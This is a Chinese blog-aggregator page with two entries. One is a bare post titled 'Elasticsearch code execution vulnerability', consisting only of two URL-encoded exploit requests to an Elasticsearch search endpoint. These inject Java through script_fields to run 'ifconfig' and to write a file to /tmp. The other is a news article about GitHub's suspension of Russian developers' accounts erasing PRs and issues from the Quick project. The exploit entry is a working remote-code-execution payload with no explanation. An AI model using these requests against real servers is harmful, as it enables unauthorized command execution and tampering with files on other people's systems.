首页 文章 精选 留言 我的

精选列表

搜索[可信执行环境],共10036篇文章
优秀的个人博客,低调大师

Elasticsearch 代码执行漏洞

http://xxx.com:9200/_search?source={%22size%22:1,%22query%22:{%22filtered%22:{%22query%22:{%22match_all%22:{}}}},%22script_fields%22:{%22exp%22:{%22script%22:%22import%20java.util.*;\nimport%20java.io.*;\nString%20str%20=%20\%22\%22;BufferedReader%20br%20=%20new%20BufferedReader(new%20InputStreamReader(Runtime.getRuntime().exec(\%22ifconfig\%22).getInputStream()));StringBuilder%20sb%20=%20new%20StringBuilder();while((str=br.readLine())!=null){sb.append(str);}sb.toString();%22}}} http://xxx.com:9200/_search?source={%22size%22:1,%22query%22:{%22filtered%22:{%22query%22:{%22match_all%22:{}}}},%22script_fields%22:{%22exp%22:{%22script%22:%22import%20java.util.*;\nimport%20java.io.*;\nFile%20f%20=%20new%20File(\%22/tmp/12.txt\%22);if(f.exists()){\%22exists\%22.toString();}BufferedWriter%20bw%20=%20new%20BufferedWriter(new%20OutputStreamWriter(new%20FileOutputStream(f),\%22UTF-8\%22));bw.write(\%221233\%22);bw.flush();bw.close();if(f.exists()){\%22success\%22.toString();}%22}}}

优秀的个人博客,低调大师

苹果热门项目首席维护者:开源不易,GitHub 不可信

此前,我们曾报道了GitHub 封锁受美国制裁公司的俄罗斯开发人员账户。该平台的这一举措不可避免的带来了一些破坏性的副作用,苹果开发者社区两个热门项目 Quick 和 Nimble 的首席维护者 Jesse Squires近日就发文控诉称,“但似乎 GitHub 并没有完全考虑到这一点,因为这些账户的封停正在搞砸我的项目。” Jesse 在其个人博客中指出,Quick 5.0 版本已于几天前发布。在发布前的一周里,他曾审查并合并了许多 PR;但是当他准备写 release notes 时,神奇的事情发生了 —— 一些 PR 被删除了,更过分的是整个贡献者的存在都消失了。 “他们在 issue 上的所有评论都消失了,他们打开的所有 issue 都消失了,他们打开的所有 PR 都消失了。与该用户有关的每一项活动都消失了。这 TM 的是什么情况?” Jesse 以项目中一个关键性的 bug 修复PR #1129 进行了举例,大家可以从 GitHub 的自动生成的 release notes 中看到这一行: @BobCatCmade their first contribution in#1129 “但用户账户和 PR 的结果都是 404。但是你可以在这里找到合并提交,这是所有关于这一变化的历史记录”。 维护者 Rachel Brindle 还打开了一个 PR(另一个重要的 bug 修复),但引入该 bug 的原始 PR 也已经被删除。“引入它的原始 PR 后来被删除了,所以我不确定该贡献的确切意图。” 在经历过短暂的疑惑后,Jesse 终于意识到这些“神秘的消失”都是由于 GitHub 轻率地暂停了俄罗斯开发者的账户,而没有考虑到其破坏性的副作用所造成的。目前已有多位 Quick 的贡献者账户被封禁,“这意味着除了原始 commit 历史之外,我们已经失去了他们的所有贡献。” 我不清楚 GitHub 暂停这些账户的目的是什么,但对于任何与现在被暂停的账户有互动的开源项目来说,这似乎是难以置信的破坏性。在像 Twitter 这样的服务中,你可以访问已暂停帐户的占位符配置文件,并看到一条传达该账户被停用的信息,而其他用户对该账户的 @mentions 仍然链接到被停用的账户的资料。在 GitHub 上,情况完全不是这样的。 显然,在 GitHub 上“suspending an account”实际上意味着删除一个用户的所有活动。这导致(1)被停用账户的每一个 PR 都被删除,(2)被停用账户打开的每一个 issue 都被删除,(3)被停用账户的每一个评论或讨论都被删除。实际上,用户的整个活动和历史都被蒸发掉了;所有这些有价值的数据都会丢失,唯一保留下来的是原始的 Git commit 历史。就好像这个用户从未存在过一样。 同样,目前我还不清楚数据丢失是 GitHub 的目标还是这是一个失误。无论怎样,这都是一个巨大的问题。在没有通知的情况下删除这些数据是对信任的一种滥用。我们还应该继续把重要数据存放在 GitHub 上吗? 除了此前发布的一篇声称会“为包括俄罗斯开发者在内的所有开发者提供服务”的声明外,GitHub 没有发布任何有关当下这一封禁举措的通知或沟通。Jesse 称,“这绝对是令人困惑的”。 我在这个我接手的项目上只工作了一个星期左右,试图像一个好的维护者一样勤奋地跟踪变化,然后各种奇特的、意想不到的怪事开始发生。我不知道的是,GitHub 正悄悄地加入了西方世界其他国家的行列,以惩罚无辜的俄罗斯平民......我不明白删除 GitHub 账户和造成平民的食物短缺是谁的'胜利'。据我所知,现在失踪的贡献者只是对社区开源项目感兴趣的普通 iOS 和 macOS 开发者。 来自 GitHub 的这些行为对开源项目和开源社区是有害的和破坏性的。突然之间,我看到那些积极为项目做出贡献的用户的 PR、issue 和 comment 都消失了。我们丢失了关于 issue 和 PR 的宝贵贡献、信息、上下文和讨论历史,我们甚至丢失了开放且正在积极审查的 PR。这些工作现在已经完全、永远地消失了。对于合并的拉取请求,我们有原始的 commit 历史,但这不能代替完整的代码审查和讨论。 维护开源项目已经很困难了。继承一个旧的、被忽视的项目,并试图让它回到正轨,这就更难了。在这种情况下,每一个 PR、issue 和 comment 对于项目的长期维护和成功都很重要。评论、讨论和代码审查提供了宝贵的背景资料,而这些资料并不总能在 commit 历史中体现出来,特别是对于那些多年来经历了多个维护者的开源项目。我认为 GitHub 的正确解决方案应该是保留所有的贡献,冻结可疑账户以防止未来的活动,并在账户资料页面上明确标明封停。然后,在可能的情况下,重新启用这些账户。但显然,GitHub 认为最好的办法是将其全部删除。 所以,感谢 GitHub 把事情搞砸了。

资源下载

更多资源
Mario

Mario

马里奥是站在游戏界顶峰的超人气多面角色。马里奥靠吃蘑菇成长,特征是大鼻子、头戴帽子、身穿背带裤,还留着胡子。与他的双胞胎兄弟路易基一起,长年担任任天堂的招牌角色。

Spring

Spring

Spring框架(Spring Framework)是由Rod Johnson于2002年提出的开源Java企业级应用框架,旨在通过使用JavaBean替代传统EJB实现方式降低企业级编程开发的复杂性。该框架基于简单性、可测试性和松耦合性设计理念,提供核心容器、应用上下文、数据访问集成等模块,支持整合Hibernate、Struts等第三方框架,其适用范围不仅限于服务器端开发,绝大多数Java应用均可从中受益。

Sublime Text

Sublime Text

Sublime Text具有漂亮的用户界面和强大的功能,例如代码缩略图,Python的插件,代码段等。还可自定义键绑定,菜单和工具栏。Sublime Text 的主要功能包括:拼写检查,书签,完整的 Python API , Goto 功能,即时项目切换,多选择,多窗口等等。Sublime Text 是一个跨平台的编辑器,同时支持Windows、Linux、Mac OS X等操作系统。

WebStorm

WebStorm

WebStorm 是jetbrains公司旗下一款JavaScript 开发工具。目前已经被广大中国JS开发者誉为“Web前端开发神器”、“最强大的HTML5编辑器”、“最智能的JavaScript IDE”等。与IntelliJ IDEA同源,继承了IntelliJ IDEA强大的JS部分的功能。

用户登录
用户注册